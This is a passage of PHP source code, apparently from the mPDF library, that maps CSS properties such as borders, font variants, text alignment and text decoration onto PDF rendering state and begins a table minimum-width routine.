$this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-TOP-RIGHT-RADIUS-V': $this->blk[$this->blklvl]['border_radius_TR_V'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-BOTTOM-LEFT-RADIUS-H': $this->blk[$this->blklvl]['border_radius_BL_H'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-BOTTOM-LEFT-RADIUS-V': $this->blk[$this->blklvl]['border_radius_BL_V'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-BOTTOM-RIGHT-RADIUS-H': $this->blk[$this->blklvl]['border_radius_BR_H'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; case 'BORDER-BOTTOM-RIGHT-RADIUS-V': $this->blk[$this->blklvl]['border_radius_BR_V'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); break; /* -- END BORDER-RADIUS -- */ case 'BOX-SHADOW': $bs = $this->cssManager->setCSSboxshadow($v); if ($bs) { $this->blk[$this->blklvl]['box_shadow'] = $bs; } break; case 'BACKGROUND-CLIP': if (strtoupper($v) == 'PADDING-BOX') { $this->blk[$this->blklvl]['background_clip'] = 'padding-box'; } elseif (strtoupper($v) == 'CONTENT-BOX') { $this->blk[$this->blklvl]['background_clip'] = 'content-box'; } break; case 'PAGE-BREAK-AFTER': if (strtoupper($v) == 'AVOID') { $this->blk[$this->blklvl]['page_break_after_avoid'] = true; } elseif (strtoupper($v) == 'ALWAYS' || strtoupper($v) == 'LEFT' || strtoupper($v) == 'RIGHT') { $this->blk[$this->blklvl]['page_break_after'] = strtoupper($v); } break; // mPDF 6 pagebreaktype case 'BOX-DECORATION-BREAK': if (strtoupper($v) == 'CLONE') { $this->blk[$this->blklvl]['box_decoration_break'] = 'clone'; } elseif (strtoupper($v) == 'SLICE') { $this->blk[$this->blklvl]['box_decoration_break'] = 'slice'; } break; case 'WIDTH': if (strtoupper($v) != 'AUTO') { $this->blk[$this->blklvl]['css_set_width'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false); } break; // mPDF 6 Lists // LISTS case 'LIST-STYLE-TYPE': $this->blk[$this->blklvl]['list_style_type'] = strtolower($v); break; case 'LIST-STYLE-IMAGE': $this->blk[$this->blklvl]['list_style_image'] = strtolower($v); break; case 'LIST-STYLE-POSITION': $this->blk[$this->blklvl]['list_style_position'] = strtolower($v); break; }//end of switch($k) } if ($type != 'INLINE' && $type != 'TABLECELL') { // All block-level, including BODY tag switch ($k) { case 'TEXT-INDENT': // Computed value - to inherit $this->blk[$this->blklvl]['text_indent'] = $this->sizeConverter->convert($v, $this->blk[$prevlevel]['inner_width'], $this->FontSize, false) . 'mm'; break; case 'MARGIN-COLLAPSE': // Custom tag to collapse margins at top and bottom of page if (strtoupper($v) == 'COLLAPSE') { $this->blk[$this->blklvl]['margin_collapse'] = true; } break; case 'LINE-HEIGHT': $this->blk[$this->blklvl]['line_height'] = $this->fixLineheight($v); if (!$this->blk[$this->blklvl]['line_height']) { $this->blk[$this->blklvl]['line_height'] = 'N'; } // mPDF 6 break; // mPDF 6 case 'LINE-STACKING-STRATEGY': $this->blk[$this->blklvl]['line_stacking_strategy'] = strtolower($v); break; case 'LINE-STACKING-SHIFT': $this->blk[$this->blklvl]['line_stacking_shift'] = strtolower($v); break; case 'TEXT-ALIGN': // left right center justify switch (strtoupper($v)) { case 'LEFT': $this->blk[$this->blklvl]['align'] = "L"; break; case 'CENTER': $this->blk[$this->blklvl]['align'] = "C"; break; case 'RIGHT': $this->blk[$this->blklvl]['align'] = "R"; break; case 'JUSTIFY': $this->blk[$this->blklvl]['align'] = "J"; break; } break; /* -- BACKGROUNDS -- */ case 'BACKGROUND-GRADIENT': if ($type == 'BLOCK') { $this->blk[$this->blklvl]['gradient'] = $v; } break; /* -- END BACKGROUNDS -- */ case 'DIRECTION': if ($v) { $this->blk[$this->blklvl]['direction'] = strtolower($v); } break; } } // FOR INLINE ONLY if ($type == 'INLINE') { switch ($k) { case 'DISPLAY': if (strtoupper($v) == 'NONE') { $this->inlineDisplayOff = true; } break; case 'DIRECTION': break; } } // FOR INLINE ONLY if ($type == 'INLINE') { switch ($k) { // BORDERS case 'BORDER-TOP': $this->spanborddet['T'] = $this->border_details($v); $this->spanborder = true; $spanbordset = true; break; case 'BORDER-BOTTOM': $this->spanborddet['B'] = $this->border_details($v); $this->spanborder = true; $spanbordset = true; break; case 'BORDER-LEFT': $this->spanborddet['L'] = $this->border_details($v); $this->spanborder = true; $spanbordset = true; break; case 'BORDER-RIGHT': $this->spanborddet['R'] = $this->border_details($v); $this->spanborder = true; $spanbordset = true; break; case 'VISIBILITY': // block is set in OpenTag $v = strtolower($v); if ($v == 'visible' || $v == 'hidden' || $v == 'printonly' || $v == 'screenonly') { $this->textparam['visibility'] = $v; } break; }//end of switch($k) } if ($type != 'TABLECELL') { // FOR INLINE and BLOCK switch ($k) { case 'TEXT-ALIGN': // left right center justify if (strtoupper($v) == 'NOJUSTIFY' && $this->blk[$this->blklvl]['align'] == "J") { $this->blk[$this->blklvl]['align'] = ""; } break; // bgcolor only - to stay consistent with original html2fpdf case 'BACKGROUND': case 'BACKGROUND-COLOR': $cor = $this->colorConverter->convert($v, $this->PDFAXwarnings); if ($cor) { if ($tag == 'BODY') { $this->bodyBackgroundColor = $cor; } elseif ($type == 'INLINE') { $this->spanbgcolorarray = $cor; $this->spanbgcolor = true; $spanbgset = true; } else { $this->blk[$this->blklvl]['bgcolorarray'] = $cor; $this->blk[$this->blklvl]['bgcolor'] = true; } } elseif ($type != 'INLINE') { if ($this->ColActive) { $this->blk[$this->blklvl]['bgcolorarray'] = $this->blk[$prevlevel]['bgcolorarray']; $this->blk[$this->blklvl]['bgcolor'] = $this->blk[$prevlevel]['bgcolor']; } } break; case 'VERTICAL-ALIGN': // super and sub only dealt with here e.g. <SUB> and <SUP> switch (strtoupper($v)) { case 'SUPER': $this->textvar = ($this->textvar | TextVars::FA_SUPERSCRIPT); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FA_SUBSCRIPT); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { $this->textparam['text-baseline'] += ($this->baselineSup) * $preceeding_fontsize; } else { $this->textparam['text-baseline'] = ($this->baselineSup) * $preceeding_fontsize; } break; case 'SUB': $this->textvar = ($this->textvar | TextVars::FA_SUBSCRIPT); $this->textvar = ($this->textvar & ~TextVars::FA_SUPERSCRIPT); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { $this->textparam['text-baseline'] += ($this->baselineSub) * $preceeding_fontsize; } else { $this->textparam['text-baseline'] = ($this->baselineSub) * $preceeding_fontsize; } break; case 'BASELINE': $this->textvar = ($this->textvar & ~TextVars::FA_SUBSCRIPT); $this->textvar = ($this->textvar & ~TextVars::FA_SUPERSCRIPT); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { unset($this->textparam['text-baseline']); } break; // mPDF 5.7.3 inline text-decoration parameters default: $lh = $this->_computeLineheight($this->blk[$this->blklvl]['line_height']); $sz = $this->sizeConverter->convert($v, $lh, $this->FontSize, false); $this->textvar = ($this->textvar & ~TextVars::FA_SUBSCRIPT); $this->textvar = ($this->textvar & ~TextVars::FA_SUPERSCRIPT); if ($sz) { if ($sz > 0) { $this->textvar = ($this->textvar | TextVars::FA_SUPERSCRIPT); } else { $this->textvar = ($this->textvar | TextVars::FA_SUBSCRIPT); } if (isset($this->textparam['text-baseline'])) { $this->textparam['text-baseline'] += $sz; } else { $this->textparam['text-baseline'] = $sz; } } } break; }//end of switch($k) } // FOR ALL switch ($k) { case 'LETTER-SPACING': $this->lSpacingCSS = $v; if (($this->lSpacingCSS || $this->lSpacingCSS === '0') && strtoupper($this->lSpacingCSS) != 'NORMAL') { $this->fixedlSpacing = $this->sizeConverter->convert($this->lSpacingCSS, $this->FontSize); } break; case 'WORD-SPACING': $this->wSpacingCSS = $v; if ($this->wSpacingCSS && strtoupper($this->wSpacingCSS) != 'NORMAL') { $this->minwSpacing = $this->sizeConverter->convert($this->wSpacingCSS, $this->FontSize); } break; case 'FONT-STYLE': // italic normal oblique switch (strtoupper($v)) { case 'ITALIC': case 'OBLIQUE': $this->SetStyle('I', true); break; case 'NORMAL': $this->SetStyle('I', false); break; } break; case 'FONT-WEIGHT': // normal bold // Does not support: bolder, lighter, 100..900(step value=100) switch (strtoupper($v)) { case 'BOLD': $this->SetStyle('B', true); break; case 'NORMAL': $this->SetStyle('B', false); break; } break; case 'FONT-KERNING': if (strtoupper($v) == 'NORMAL' || (strtoupper($v) == 'AUTO' && $this->useKerning)) { /* -- OTL -- */ if ($this->CurrentFont['haskernGPOS']) { if (isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] .= ' kern'; } else { $this->OTLtags['Plus'] = ' kern'; } } /* -- END OTL -- */ else { // *OTL* $this->textvar = ($this->textvar | TextVars::FC_KERNING); } // *OTL* } elseif (strtoupper($v) == 'NONE' || (strtoupper($v) == 'AUTO' && !$this->useKerning)) { if (isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = str_replace('kern', '', $this->OTLtags['Plus']); // *OTL* } if (isset($this->OTLtags['FFPlus'])) { $this->OTLtags['FFPlus'] = preg_replace('/kern[\d]*/', '', $this->OTLtags['FFPlus']); } $this->textvar = ($this->textvar & ~TextVars::FC_KERNING); } break; /* -- OTL -- */ case 'FONT-LANGUAGE-OVERRIDE': $v = strtoupper($v); if (strpos($v, 'NORMAL') !== false) { $this->fontLanguageOverride = ''; } else { $this->fontLanguageOverride = trim($v); } break; case 'FONT-VARIANT-POSITION': if (isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = str_replace(['sups', 'subs'], '', $this->OTLtags['Plus']); } switch (strtoupper($v)) { case 'SUPER': $this->OTLtags['Plus'] .= ' sups'; break; case 'SUB': $this->OTLtags['Plus'] .= ' subs'; break; case 'NORMAL': break; } break; case 'FONT-VARIANT-CAPS': $v = strtoupper($v); if (!isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = ''; } $this->OTLtags['Plus'] = str_replace(['c2sc', 'smcp', 'c2pc', 'pcap', 'unic', 'titl'], '', $this->OTLtags['Plus']); $this->textvar = ($this->textvar & ~TextVars::FC_SMALLCAPS); // ?????????????? <small-caps> if (strpos($v, 'ALL-SMALL-CAPS') !== false) { $this->OTLtags['Plus'] .= ' c2sc smcp'; } elseif (strpos($v, 'SMALL-CAPS') !== false) { if (isset($this->CurrentFont['hassmallcapsGSUB']) && $this->CurrentFont['hassmallcapsGSUB']) { $this->OTLtags['Plus'] .= ' smcp'; } else { $this->textvar = ($this->textvar | TextVars::FC_SMALLCAPS); } } elseif (strpos($v, 'ALL-PETITE-CAPS') !== false) { $this->OTLtags['Plus'] .= ' c2pc pcap'; } elseif (strpos($v, 'PETITE-CAPS') !== false) { $this->OTLtags['Plus'] .= ' pcap'; } elseif (strpos($v, 'UNICASE') !== false) { $this->OTLtags['Plus'] .= ' unic'; } elseif (strpos($v, 'TITLING-CAPS') !== false) { $this->OTLtags['Plus'] .= ' titl'; } break; case 'FONT-VARIANT-LIGATURES': $v = strtoupper($v); if (!isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = ''; } if (!isset($this->OTLtags['Minus'])) { $this->OTLtags['Minus'] = ''; } if (strpos($v, 'NORMAL') !== false) { $this->OTLtags['Minus'] = str_replace(['liga', 'clig', 'calt'], '', $this->OTLtags['Minus']); $this->OTLtags['Plus'] = str_replace(['dlig', 'hlig'], '', $this->OTLtags['Plus']); } elseif (strpos($v, 'NONE') !== false) { $this->OTLtags['Minus'] .= ' liga clig calt'; $this->OTLtags['Plus'] = str_replace(['dlig', 'hlig'], '', $this->OTLtags['Plus']); } if (strpos($v, 'NO-COMMON-LIGATURES') !== false) { $this->OTLtags['Minus'] .= ' liga clig'; } elseif (strpos($v, 'COMMON-LIGATURES') !== false) { $this->OTLtags['Minus'] = str_replace(['liga', 'clig'], '', $this->OTLtags['Minus']); } if (strpos($v, 'NO-CONTEXTUAL') !== false) { $this->OTLtags['Minus'] .= ' calt'; } elseif (strpos($v, 'CONTEXTUAL') !== false) { $this->OTLtags['Minus'] = str_replace('calt', '', $this->OTLtags['Minus']); } if (strpos($v, 'NO-DISCRETIONARY-LIGATURES') !== false) { $this->OTLtags['Plus'] = str_replace('dlig', '', $this->OTLtags['Plus']); } elseif (strpos($v, 'DISCRETIONARY-LIGATURES') !== false) { $this->OTLtags['Plus'] .= ' dlig'; } if (strpos($v, 'NO-HISTORICAL-LIGATURES') !== false) { $this->OTLtags['Plus'] = str_replace('hlig', '', $this->OTLtags['Plus']); } elseif (strpos($v, 'HISTORICAL-LIGATURES') !== false) { $this->OTLtags['Plus'] .= ' hlig'; } break; case 'FONT-VARIANT-NUMERIC': $v = strtoupper($v); if (!isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = ''; } if (strpos($v, 'NORMAL') !== false) { $this->OTLtags['Plus'] = str_replace(['ordn', 'zero', 'lnum', 'onum', 'pnum', 'tnum', 'frac', 'afrc'], '', $this->OTLtags['Plus']); } if (strpos($v, 'ORDINAL') !== false) { $this->OTLtags['Plus'] .= ' ordn'; } if (strpos($v, 'SLASHED-ZERO') !== false) { $this->OTLtags['Plus'] .= ' zero'; } if (strpos($v, 'LINING-NUMS') !== false) { $this->OTLtags['Plus'] .= ' lnum'; $this->OTLtags['Plus'] = str_replace('onum', '', $this->OTLtags['Plus']); } elseif (strpos($v, 'OLDSTYLE-NUMS') !== false) { $this->OTLtags['Plus'] .= ' onum'; $this->OTLtags['Plus'] = str_replace('lnum', '', $this->OTLtags['Plus']); } if (strpos($v, 'PROPORTIONAL-NUMS') !== false) { $this->OTLtags['Plus'] .= ' pnum'; $this->OTLtags['Plus'] = str_replace('tnum', '', $this->OTLtags['Plus']); } elseif (strpos($v, 'TABULAR-NUMS') !== false) { $this->OTLtags['Plus'] .= ' tnum'; $this->OTLtags['Plus'] = str_replace('pnum', '', $this->OTLtags['Plus']); } if (strpos($v, 'DIAGONAL-FRACTIONS') !== false) { $this->OTLtags['Plus'] .= ' frac'; $this->OTLtags['Plus'] = str_replace('afrc', '', $this->OTLtags['Plus']); } elseif (strpos($v, 'STACKED-FRACTIONS') !== false) { $this->OTLtags['Plus'] .= ' afrc'; $this->OTLtags['Plus'] = str_replace('frac', '', $this->OTLtags['Plus']); } break; case 'FONT-VARIANT-ALTERNATES': // Only supports historical-forms $v = strtoupper($v); if (!isset($this->OTLtags['Plus'])) { $this->OTLtags['Plus'] = ''; } if (strpos($v, 'NORMAL') !== false) { $this->OTLtags['Plus'] = str_replace('hist', '', $this->OTLtags['Plus']); } if (strpos($v, 'HISTORICAL-FORMS') !== false) { $this->OTLtags['Plus'] .= ' hist'; } break; case 'FONT-FEATURE-SETTINGS': $v = strtolower($v); if (strpos($v, 'normal') !== false) { $this->OTLtags['FFMinus'] = ''; $this->OTLtags['FFPlus'] = ''; } else { if (!isset($this->OTLtags['FFPlus'])) { $this->OTLtags['FFPlus'] = ''; } if (!isset($this->OTLtags['FFMinus'])) { $this->OTLtags['FFMinus'] = ''; } $tags = preg_split('/[,]/', $v); foreach ($tags as $t) { if (preg_match('/[\"\']([a-zA-Z0-9]{4})[\"\']\s*(on|off|\d*){0,1}/', $t, $m)) { if ($m[2] == 'off' || $m[2] === '0') { if (strpos($this->OTLtags['FFMinus'], $m[1]) === false) { $this->OTLtags['FFMinus'] .= ' ' . $m[1]; } $this->OTLtags['FFPlus'] = preg_replace('/' . $m[1] . '[\d]*/', '', $this->OTLtags['FFPlus']); } else { if ($m[2] == 'on') { $m[2] = '1'; } if (strpos($this->OTLtags['FFPlus'], $m[1]) === false) { $this->OTLtags['FFPlus'] .= ' ' . $m[1] . $m[2]; } $this->OTLtags['FFMinus'] = str_replace($m[1], '', $this->OTLtags['FFMinus']); } } } } break; /* -- END OTL -- */ case 'TEXT-TRANSFORM': // none uppercase lowercase // Does support: capitalize switch (strtoupper($v)) { // Not working 100% case 'CAPITALIZE': $this->textvar = ($this->textvar | TextVars::FT_CAPITALIZE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_UPPERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_LOWERCASE); // mPDF 5.7.1 break; case 'UPPERCASE': $this->textvar = ($this->textvar | TextVars::FT_UPPERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_LOWERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_CAPITALIZE); // mPDF 5.7.1 break; case 'LOWERCASE': $this->textvar = ($this->textvar | TextVars::FT_LOWERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_UPPERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_CAPITALIZE); // mPDF 5.7.1 break; case 'NONE': break; $this->textvar = ($this->textvar & ~TextVars::FT_UPPERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_LOWERCASE); // mPDF 5.7.1 $this->textvar = ($this->textvar & ~TextVars::FT_CAPITALIZE); // mPDF 5.7.1 } break; case 'TEXT-SHADOW': $ts = $this->cssManager->setCSStextshadow($v); if ($ts) { $this->textshadow = $ts; } break; case 'HYPHENS': if (strtoupper($v) == 'NONE') { $this->textparam['hyphens'] = 2; } elseif (strtoupper($v) == 'AUTO') { $this->textparam['hyphens'] = 1; } elseif (strtoupper($v) == 'MANUAL') { $this->textparam['hyphens'] = 0; } break; case 'TEXT-OUTLINE': if (strtoupper($v) == 'NONE') { $this->textparam['outline-s'] = false; } break; case 'TEXT-OUTLINE-WIDTH': case 'OUTLINE-WIDTH': switch (strtoupper($v)) { case 'THIN': $v = '0.03em'; break; case 'MEDIUM': $v = '0.05em'; break; case 'THICK': $v = '0.07em'; break; } $w = $this->sizeConverter->convert($v, $this->FontSize, $this->FontSize); if ($w) { $this->textparam['outline-WIDTH'] = $w; $this->textparam['outline-s'] = true; } else { $this->textparam['outline-s'] = false; } break; case 'TEXT-OUTLINE-COLOR': case 'OUTLINE-COLOR': if (strtoupper($v) == 'INVERT') { if ($this->colorarray) { $cor = $this->colorarray; $this->textparam['outline-COLOR'] = $this->colorConverter->invert($cor); } else { $this->textparam['outline-COLOR'] = $this->colorConverter->convert(255, $this->PDFAXwarnings); } } else { $cor = $this->colorConverter->convert($v, $this->PDFAXwarnings); if ($cor) { $this->textparam['outline-COLOR'] = $cor; } } break; case 'COLOR': // font color $cor = $this->colorConverter->convert($v, $this->PDFAXwarnings); if ($cor) { $this->colorarray = $cor; $this->SetTColor($cor); } break; }//end of switch($k) }//end of foreach // mPDF 5.7.3 inline text-decoration parameters // Needs to be set at the end - after vertical-align = super/sub, so that textparam['text-baseline'] is set if (isset($arrayaux['TEXT-DECORATION'])) { $v = $arrayaux['TEXT-DECORATION']; // none underline line-through (strikeout) // Does not support: blink if (stristr($v, 'LINE-THROUGH')) { $this->textvar = ($this->textvar | TextVars::FD_LINETHROUGH); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { $this->textparam['s-decoration']['baseline'] = $this->textparam['text-baseline']; } else { $this->textparam['s-decoration']['baseline'] = 0; } $this->textparam['s-decoration']['fontkey'] = $this->FontFamily . $this->FontStyle; $this->textparam['s-decoration']['fontsize'] = $this->FontSize; $this->textparam['s-decoration']['color'] = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG } if (stristr($v, 'UNDERLINE')) { $this->textvar = ($this->textvar | TextVars::FD_UNDERLINE); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { $this->textparam['u-decoration']['baseline'] = $this->textparam['text-baseline']; } else { $this->textparam['u-decoration']['baseline'] = 0; } $this->textparam['u-decoration']['fontkey'] = $this->FontFamily . $this->FontStyle; $this->textparam['u-decoration']['fontsize'] = $this->FontSize; $this->textparam['u-decoration']['color'] = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG } if (stristr($v, 'OVERLINE')) { $this->textvar = ($this->textvar | TextVars::FD_OVERLINE); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['text-baseline'])) { $this->textparam['o-decoration']['baseline'] = $this->textparam['text-baseline']; } else { $this->textparam['o-decoration']['baseline'] = 0; } $this->textparam['o-decoration']['fontkey'] = $this->FontFamily . $this->FontStyle; $this->textparam['o-decoration']['fontsize'] = $this->FontSize; $this->textparam['o-decoration']['color'] = strtoupper($this->TextColor); // change 0 0 0 rg to 0 0 0 RG } if (stristr($v, 'NONE')) { $this->textvar = ($this->textvar & ~TextVars::FD_UNDERLINE); $this->textvar = ($this->textvar & ~TextVars::FD_LINETHROUGH); $this->textvar = ($this->textvar & ~TextVars::FD_OVERLINE); // mPDF 5.7.3 inline text-decoration parameters if (isset($this->textparam['u-decoration'])) { unset($this->textparam['u-decoration']); } if (isset($this->textparam['s-decoration'])) { unset($this->textparam['s-decoration']); } if (isset($this->textparam['o-decoration'])) { unset($this->textparam['o-decoration']); } } } // mPDF 6 if ($spanbordset) { // BORDER has been set on this INLINE element if (isset($this->textparam['text-baseline'])) { $this->textparam['bord-decoration']['baseline'] = $this->textparam['text-baseline']; } else { $this->textparam['bord-decoration']['baseline'] = 0; } $this->textparam['bord-decoration']['fontkey'] = $this->FontFamily . $this->FontStyle; $this->textparam['bord-decoration']['fontsize'] = $this->FontSize; } if ($spanbgset) { // BACKGROUND[-COLOR] has been set on this INLINE element if (isset($this->textparam['text-baseline'])) { $this->textparam['bg-decoration']['baseline'] = $this->textparam['text-baseline']; } else { $this->textparam['bg-decoration']['baseline'] = 0; } $this->textparam['bg-decoration']['fontkey'] = $this->FontFamily . $this->FontStyle; $this->textparam['bg-decoration']['fontsize'] = $this->FontSize; } } /* -- END HTML-CSS -- */ function SetStyle($tag, $enable) { $this->$tag = $enable; $style = ''; foreach (['B', 'I'] as $s) { if ($this->$s) { $style .= $s; } } $this->currentfontstyle = $style; $this->SetFont('', $style, 0, false); } // Set multiple styles at one time function SetStylesArray($arr) { $style = ''; foreach (['B', 'I'] as $s) { if (isset($arr[$s])) { if ($arr[$s]) { $this->$s = true; $style .= $s; } else { $this->$s = false; } } elseif ($this->$s) { $style .= $s; } } $this->currentfontstyle = $style; $this->SetFont('', $style, 0, false); } // Set multiple styles at one $str e.g. "BI" function SetStyles($str) { $style = ''; foreach (['B', 'I'] as $s) { if (strpos($str, $s) !== false) { $this->$s = true; $style .= $s; } else { $this->$s = false; } } $this->currentfontstyle = $style; $this->SetFont('', $style, 0, false); } function ResetStyles() { foreach (['B', 'I'] as $s) { $this->$s = false; } $this->currentfontstyle = ''; $this->SetFont('', '', 0, false); } function DisableTags($str = '') { if ($str == '') { // enable all tags // Insert new supported tags in the long string below. $this->enabledtags = "<a><acronym><address><article><aside><b><bdi><bdo><big><blockquote><br><caption><center><cite><code><del><details><dd><div><dl><dt><em><fieldset><figcaption><figure><font><form><h1><h2><h3><h4><h5><h6><hgroup><hr><i><img><input><ins><kbd><legend><li><main><mark><meter><nav><ol><option><p><pre><progress><q><s><samp><section><select><small><span><strike><strong><sub><summary><sup><table><tbody><td><template><textarea><tfoot><th><thead><time><tr><tt><u><ul><var><footer><header><annotation><bookmark><textcircle><barcode><dottab><indexentry><indexinsert><watermarktext><watermarkimage><tts><ttz><tta><column_break><columnbreak><newcolumn><newpage><page_break><pagebreak><formfeed><columns><toc><tocentry><tocpagebreak><pageheader><pagefooter><setpageheader><setpagefooter><sethtmlpageheader><sethtmlpagefooter>"; } else { $str = explode(",", $str); foreach ($str as $v) { $this->enabledtags = str_replace(trim($v), '', $this->enabledtags); } } } /* -- TABLES -- */ function TableCheckMinWidth($maxwidth, $forcewrap = 0, $textbuffer = [], $checkletter = false) { // mPDF 6 $acclength = 0; // mPDF 6 (accumulated length across > 1 chunk) $acclongest = 0; // mPDF 6 (accumulated length max across > 1 chunk) $biggestword = 0; $toonarrow = false; if ((count($textbuffer) == 0) or ( (count($textbuffer) == 1) && ($textbuffer[0][0] == ''))) { return 0; } foreach ($textbuffer as $chunk) { $line = $chunk[0]; $OTLdata = (isset($chunk[18]) ? $chunk[18] : null); // mPDF ITERATION if ($this->iterationCounter) { $line = preg_replace('/{iteration ([a-zA-Z0-9_]+)}/', '\\1', $line); } // IMAGES & FORM ELEMENTS if (substr($line, 0, 3) == "\xbb\xa4\xac") { // inline object - FORM element or IMAGE! $objattr = $this->_getObjAttr($line); if ($objattr['type'] != 'hr' && isset($objattr['width']) && ($objattr['width'] / $this->shrin_k) > ($maxwidth + 0.0001)) { if (($objattr['width'] / $this->shrin_k) > $biggestword) { $biggestword = ($objattr['width'] / $this->shrin_k); } $toonarrow = true; } continue; } if ($line == "\n") { $acclength = 0; // mPDF 6 (accumulated length across > 1 chunk) continue; } $line = trim($line); if (!empty($OTLdata)) { $this->otl->trimOTLdata($OTLdata, true, true); } // *OTL* // SET FONT SIZE/STYLE from $chunk[n] // FONTSIZE if (isset($chunk[11]) and $chunk[11] != '') { if ($this->shrin_k) { $this->SetFontSize($chunk[11] / $this->shrin_k, false); } else { $this->SetFontSize($chunk[11], false); } } // FONTFAMILY if (isset($chunk[4]) and $chunk[4] != '') { $font = $this->SetFont($chunk[4], $this->FontStyle, 0, false); } // B I if (isset($chunk[2]) and $chunk[2] != '') { $this->SetStyles($chunk[2]); } $lbw = $rbw = 0; // Border widths if (isset($chunk[16]) && !empty($chunk[16])) { // Border $this->spanborddet = $chunk[16]; $lbw = (isset($this->spanborddet['L']['w']) ? $this->spanborddet['L']['w'] : 0); $rbw = (isset($this->spanborddet['R']['w']) ? $this->spanborddet['R']['w'] : 0); } if (isset($chunk[15])) { // Word spacing $this->wSpacingCSS = $chunk[15]; if ($this->wSpacingCSS && strtoupper($this->wSpacingCSS) != 'NORMAL') { $this->minwSpacing = $this->sizeConverter->convert($this->wSpacingCSS, $this->FontSize) / $this->shrin_k; // mPDF 5.7.3 } } if (isset($chunk[14])) { // Letter spacing $this->lSpacingCSS = $chunk[14]; if (($this->lSpacingCSS || $this->lSpacingCSS === '0') && strtoupper($this->lSpacingCSS) != 'NORMAL') { $this->fixedlSpacing = $this->sizeConverter->convert($this->lSpacingCSS, $this->FontSize) / $this->shrin_k; // mPDF 5.7.3 } } if (isset($chunk[8])) { // mPDF 5.7.1 $this->textvar = $chunk[8]; } // mPDF 6 // If overflow==wrap ($checkletter) OR (No word breaks and contains CJK) if ($checkletter || (!preg_match('/(\xe2\x80\x8b| )/', trim($line)) && preg_match("/([" . $this->pregCJKchars . "])/u", $line) )) { if (preg_match("/([" . $this->pregCJKchars . "])/u", $line)) { $checkCJK = true; } else { $checkCJK = false; } $letters = preg_split('//u', $line); foreach ($letters as $k => $letter) { // mPDF 6 if ($checkCJK) { if (preg_match("/[" . $this->CJKleading . "]/u", $letter) && $k > 0) { $letter = $letters[$k - 1] . $letter; } if (preg_match("/[" . $this->CJKfollowing . "]/u", $letter) && $k < (count($letters) - 1)) { $letter = $letter . $letters[$k + 1]; } } $letterwidth = $this->GetStringWidth($letter, false, false, $chunk[8]); // Pass $textvar ($chunk[8]), but do OTLdata here // so don't have to split OTLdata for each word if ($k == 0) { $letterwidth += $lbw; } if ($k == (count($letters) - 1)) { $letterwidth += $rbw; } // Warn user that maxwidth is insufficient if ($letterwidth > $maxwidth + 0.0001) { if ($letterwidth > $biggestword) { $biggestword = $letterwidth; } $toonarrow = true; } } } else { // mPDF 6 // Need to account for any XAdvance in GPOSinfo (OTLdata = $chunk[18]) $wordXAdvance = []; if (isset($chunk[18]) && $chunk[18]) { preg_match_all('/(\xe2\x80\x8b| )/', $line, $spaces, PREG_OFFSET_CAPTURE); // U+200B Zero Width word boundary, or space $lastoffset = 0; $k = -1; // Added so that if no spaces found, "last word" later is calculated for the one and only word foreach ($spaces[0] as $k => $m) { $offset = $m[1]; // ...TableCheckMinWidth... // At this point, BIDI not applied, Writing direction is not set, and XAdvanceL balances XAdvanceR for ($n = $lastoffset; $n < $offset; $n++) { if (isset($chunk[18]['GPOSinfo'][$n]['XAdvanceL'])) { if (isset($wordXAdvance[$k])) { $wordXAdvance[$k] += $chunk[18]['GPOSinfo'][$n]['XAdvanceL']; } else { $wordXAdvance[$k] = $chunk[18]['GPOSinfo'][$n]['XAdvanceL']; } } } $lastoffset = $offset + 1; } $k++; // last word foreach ($chunk[18]['GPOSinfo'] as $n => $gpos) { if ($n >= $lastoffset && isset($chunk[18]['GPOSinfo'][$n]['XAdvanceL'])) { if (isset($wordXAdvance[$k])) { $wordXAdvance[$k] += $chunk[18]['GPOSinfo'][$n]['XAdvanceL']; } else { $wordXAdvance[$k] = $chunk[18]['GPOSinfo'][$n]['XAdvanceL']; } } } } $words = preg_split('/(\xe2\x80\x8b| )/', $line); // U+200B Zero Width word boundary, or space foreach ($words as $k => $word) { $word = trim($word); $wordwidth = $this->GetStringWidth($word, false, false, $chunk[8]); // Pass $textvar ($chunk[8]), but do OTLdata here // so don't have to split OTLdata for each word if (isset($wordXAdvance[$k])) { $wordwidth += ($wordXAdvance[$k] * 1000 / $this->CurrentFont['unitsPerEm']) * ($this->FontSize / 1000); } if ($k == 0) { $wordwidth += $lbw; } if ($k == (count($words) - 1)) { $wordwidth += $rbw; } // mPDF 6 if (count($words) == 1 && substr($chunk[0], 0, 1) != ' ') { $acclength += 